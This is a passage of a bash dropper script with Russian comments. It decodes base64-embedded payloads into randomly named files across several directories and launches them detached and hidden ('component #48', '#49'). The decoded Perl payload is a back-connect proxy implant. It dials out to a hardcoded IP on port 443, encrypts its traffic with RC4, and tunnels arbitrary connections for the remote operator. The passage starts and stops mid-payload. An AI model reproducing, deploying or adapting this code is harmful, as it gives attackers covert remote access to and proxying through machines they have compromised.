IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #48 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #48 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 49 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg 